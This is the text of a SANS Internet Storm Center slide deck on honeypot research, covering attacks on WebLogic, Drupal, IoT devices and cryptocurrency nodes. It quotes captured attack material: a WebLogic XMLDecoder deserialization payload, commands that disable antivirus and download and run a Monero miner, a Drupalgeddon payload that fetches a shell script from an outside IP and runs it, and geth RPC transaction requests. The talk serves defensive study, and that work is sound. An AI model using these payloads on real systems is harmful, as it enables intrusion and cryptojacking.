Nation State Level Honeypotting: Emulating Vulnerable Web Applications at Scale

Johannes B. Ullrich Ph.D.
Dean of Research, STI
jullrich@sans.edu
About Me

• Dean of Research, SANS Technology Institute
• SANS Internet Storm Center https://isc.sans.edu
• Created DShield.org
• Instructor for SANS
• Past: Physicist, Web Developer
• Living in Jacksonville, FL
Outline

- The Internet Storm Center and Honeypot Evolution
- Weblogic/PeopleSoft Attacks
- IoT Attacks
- Attacks against miners (equipment and APIs)
- Demo
What is the “Internet Storm Center”

- Global Network Security Information Sharing Community
  - Participants from dozens of countries
  - Automated as well as manual sharing of network security incident information
  - Many ways to share and consume data (always evolving)
  - Still a strong hobbyist base, but also many “commercial” users
  - Data made available via website in real time with little filtering. Often shared with researchers
ISC: The big picture

Quick Analysis of a Recent MySQL Exploit

We had a mysql honeypot getting hit hard with this "exploit" recently. I am enclosing "exploit" in quotes as the MySQL server was configured to allow logging in without a password. Here are some of the highlights of what happened after the attacker logged in.

First, the attacker makes sure that the "root" user has all possible privileges:

```
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION
```

![Graph showing sources and targets over time](image-url)
ISC Handlers

Deborah Hale  Mark Hofman  Lorna Hutcheson  Kevin Shortt  Didier Stevens

Renato Marinho  Russ McRee  Xavier Mertens  Tom Webb  Bojan Zdrnja
ISC Handlers

- Currently about 30 volunteer handlers
- Located worldwide and working in different industries
Traditional DShield System

Packets / Firewall Logs

- CISCO
- Sense
- Windows

Database
Agile Honeypots

https://github.com/DShield-ISC/dshield
Expanded DShield System

Packets / Firewall Logs

SSH Logs

Web Logs
Agile DShield System

- Packets / Firewall Logs
- SSH Logs
- Web Logs
Example: ScreenOS Backdoor

**TOP COUNTRIES**

<table>
<thead>
<tr>
<th>Country</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Netherlands</td>
<td>7,060</td>
</tr>
<tr>
<td>United States</td>
<td>5,164</td>
</tr>
<tr>
<td>China</td>
<td>1,112</td>
</tr>
<tr>
<td>Korea, Republic of</td>
<td>633</td>
</tr>
<tr>
<td>Japan</td>
<td>543</td>
</tr>
</tbody>
</table>
Weblogic (May 2018)

**TOP COUNTRIES**

<table>
<thead>
<tr>
<th>Country</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Netherlands</td>
<td>4,011</td>
</tr>
<tr>
<td>China</td>
<td>480</td>
</tr>
<tr>
<td>United States</td>
<td>105</td>
</tr>
<tr>
<td>Iran, Islamic Republic of</td>
<td>71</td>
</tr>
<tr>
<td>Saudi Arabia</td>
<td>55</td>
</tr>
</tbody>
</table>
Stealing your Data and Selling it to others

Stealing your Data and Selling it back to you (Ransom Ware)

Stealing your (and your customers') processing power
PeopleSoft Attacks

- January 2018
- Multiple reports about compromised PeopleSoft Servers
- PeopleSoft:
  - HR Data
  - ERP System
  - Financial Data
  - ... “Crown Jewels”
CVE-2017-3506: Deserialization

- Serializing an Object: Turning an object into a string (JSON, XML...)

- Deserialization: Reverse the process. Take a string, and instantiate object

  Problem: Instantiating objects MAY execute code

Can happen in Java, .Net, PHP, Python, Ruby (Perl?)
Prior Fix (CVE-2017-3506)

```java
public void startElement(String uri, 
                        String localName, String qName, 
                        Attributes attributes) throws SAXException {
    if (qName.equalsIgnoreCase("object")) {
        throw new 
        IllegalStateException("Invalidcontexttype: object");
    }
```
The Old Exploit (CVE-2017-3506)

<soapenv:Envelope
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
   <work:WorkContext
      xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java> <object class="java.lang.ProcessBuilder">
     ...
     <string>[insert script here]</string>
     ...
     </object> </java>
   </work:WorkContext>
 </soapenv:Header> <soapenv:Body/>
</soapenv:Envelope>
Exploit For CVE-2017-10271

<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index = "0"> <string>cmd</string> </void>
<void index = "1"> <string>/c</string> </void>
<void index = "2"> <string>powershell </string> </void>
</array>
<void method="start"/>
</void> </java>
Improved Fix

```java
if(qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
    throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
    throw new IllegalStateException("Invalid element qName:method");
} else {
```

http://blog.nsfocusglobal.com/
Step #1 Disable Anti Virus

net stop "McAfee McShield;

net stop mcafeeeframework
Step #2 Download Miner

```
bitsadmin.exe /transfer "xmrig.bat"
/download /priority foreground
"%cd%\xmrig.bat";

(2nd command to download xmrig.exe)
```
Step #3 Execute Script

taskkill /im /f xmrig.exe /t
net stop "McAfee McShield"
net stop mcafeeframework
xmrig.exe -o monerohash.com:3333 -u
42jF56tc85UTZwhMQc6rHbMHTxHqK74qS2zqLyRZxLbwegsy7FJ9w4T5B69Ay5qeMEMuvVDwHNeopAxrEZkkHrMb5phovJ6 -p x --background --max-cpu-usage=50 --donate-level=1
Return?

Your Stats & Payment History

Hash Rate: 300.00 H/sec
Total Hashes Submitted: 133511141979

Pending Balance: 0.054602325502 XMR
Total Paid: 37.720216029069 XMR
Last Share Submitted: about a minute ago

Payments
Some do better...

- $226,070 total
- $31k / month
- Monero by far the most popular crypto currency for this type of miner
- Others mine Aeon and other currencies, but payouts tend to be smaller.
But then there is “Drupalgeddon”

mail%5B%23markup%5D=wget+-O+%2Ftmp%2F.XO-lock+188.166.148.89%3A53%2Fa.sh%3FDRUPALhttp%3A%2F%2F46.244.10.97%3A80&mail%5B%23type%5D=markup&form_id=userdata_register_form&drupal_ajax=1&mail%5B%23post_render%5D

mail%5B%23markup%5D=sleep+5+%3B+sh+%2Ftmp%2F.XO-lock&mail%5B%23type%5D=markup&form_id=userdata_register_form&drupal_ajax=1&mail%5B%23post_render%5D
Decoded

- &mail[#type]=markup&form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec

- Yes... another miner.
Drupal Render Arrays

$page = array(
    '#show_messages' => TRUE,
    '#theme' => 'page',
    '#type' => 'page',
    'content' => array( 'system_main' => array(...), 'another_block' => array(...), '#sorted' => TRUE, ),
    'sidebar_first' => array( ... ),
    'footer' => array( ... ), ... );
Render Array Exploit

- Elements starting with “#” are metadata
- If array elements can starting with a “#” can be injected, code may be executed
- Code is executed as the array is rendered
- Vulnerability:
  1. E-Mail Address in signup form allows injection of ‘#’
  2. User uploads an avatar image, which triggers an AJAX API call
  3. AJAX file upload triggers “render”
Exploit decoded

- \texttt{mail[#markup]=sleep 5 \; sh /tmp/.Xolock}
- \texttt{mail[#type]=markup}
- \texttt{form_id=user_register_form}
- \texttt{_drupal_ajax=1}
- \texttt{mail[#post_render][]=exec}
Attacks Against Mining Equipment

- A “miner” is a computer
- Often deployed in datacenter like setups
- Headless systems. Managed via network
- Default passwords 😞
Attacks Against Mining Equipment
Attacks Against APIs

- POST / HTTP/1.1
  Host: a.b.c.d:8545
  User-Agent: Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1
  Content-Length: 86
  Content-Type: application/json
  Accept-Encoding: gzip
  Connection: close

- {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",false], "id":406270}
Other Requests

- 
  ```json
  {"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1234}
  ```

- 
  ```json
  {"jsonrpc":"2.0","method":"eth_getBalance","params":["0x3750d6190541d5938739c28dc339ed20d8eafeb8","latest"],"id":764798}
  ```

- 
  ```json
  {"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0x3750d619...c339ed20d8eafeb8","to":"0xcd9da0595a3661...69ec29c0f524f899d","value":"0x120f24ab84a7a0964000","gas":"0x5208","gasPrice":"0x916e2115b1e00"}],"id":136092}
  ```
“geth” JSON RPC API

- No Authentication!
- Not enabled by default
- If enabled, listens on ::1 by default
- But well... when has that ever stopped anybody?
Searching for Exposed Wallets

```
GET /wallet_backup.dat.1 HTTP/1.1 404 284 "" "Mozilla/5
GET /didierstevens.com_wallet.dat HTTP/1.1 404 293 "" "Mozilla/5.
GET /wallet.dat HTTP/1.1 404 275 "" "Mozilla/5.0 (Macin
GET /bitcoin_wallet.zip HTTP/1.1 404 283 "" "Mozilla/5.
GET /backups/bitcoin_wallet.dat HTTP/1.1 404 291 "" "Mo
GET /wallet.tar HTTP/1.1 404 275 "" "Mozilla/5.0 (Macin
GET /didierstevens_wallet.dat.1 HTTP/1.1 404 291 "" "Mo
GET /wallet_backup.dat.zip HTTP/1.1 404 286 "" "Mozilla
GET /home/.bitcoin/wallet.dat HTTP/1.1 404 289 "" "Mozi
GET /bitcoin_wallet.dat.zip HTTP/1.1 404 287 "" "Mozilla
GET /wallet.dat.zip HTTP/1.1 404 279 "" "Mozilla/5.0 (M
GET /home/ubuntu/.bitcoin/wallet.dat HTTP/1.1 404 296 "
GET /datadir/wallet.dat HTTP/1.1 404 283 "" "Mozilla/5.
GET /wallet%20-%20Copy.dat HTTP/1.1 404 282 "" "Mozilla/
GET /backup/wallet.tar.gz HTTP/1.1 404 285 "" "Mozilla/
GET /wallet_backup.dat HTTP/1.1 404 282 "" "Mozilla/5.0
GET /bitcoin_data/wallet.dat HTTP/1.1 404 288 "" "Mozi
GET /didierstevens_wallet.dat.zip HTTP/1.1 404 293 "" "
GET /backup/wallet.dat HTTP/1.1 404 282 "" "Mozilla/5.0
```
Thank You!

Questions?

jullrich@sans.edu

http://isc.sans.edu

Daily Updates * Daily Podcast * Data Feeds

Twitter: @johullrich / @sans_isc

LinkedIn
IoT Mining

- Web Based Cameras (2012)
- Simple default passwords (same issue later exploited by Mirai)
Who did it?

@johullrich We're not the ones you saw in your initial report, I'm not sure what technique they were using to upload the binary

@johullrich Hello, I see you wrote a report about us mining on dvrs. tftp is also available. warning broken code pastebin.com/s41e1nM
How Much?

A graph to show the current amount of connected clients

- BOTNET
- BITNET
But how much did they make?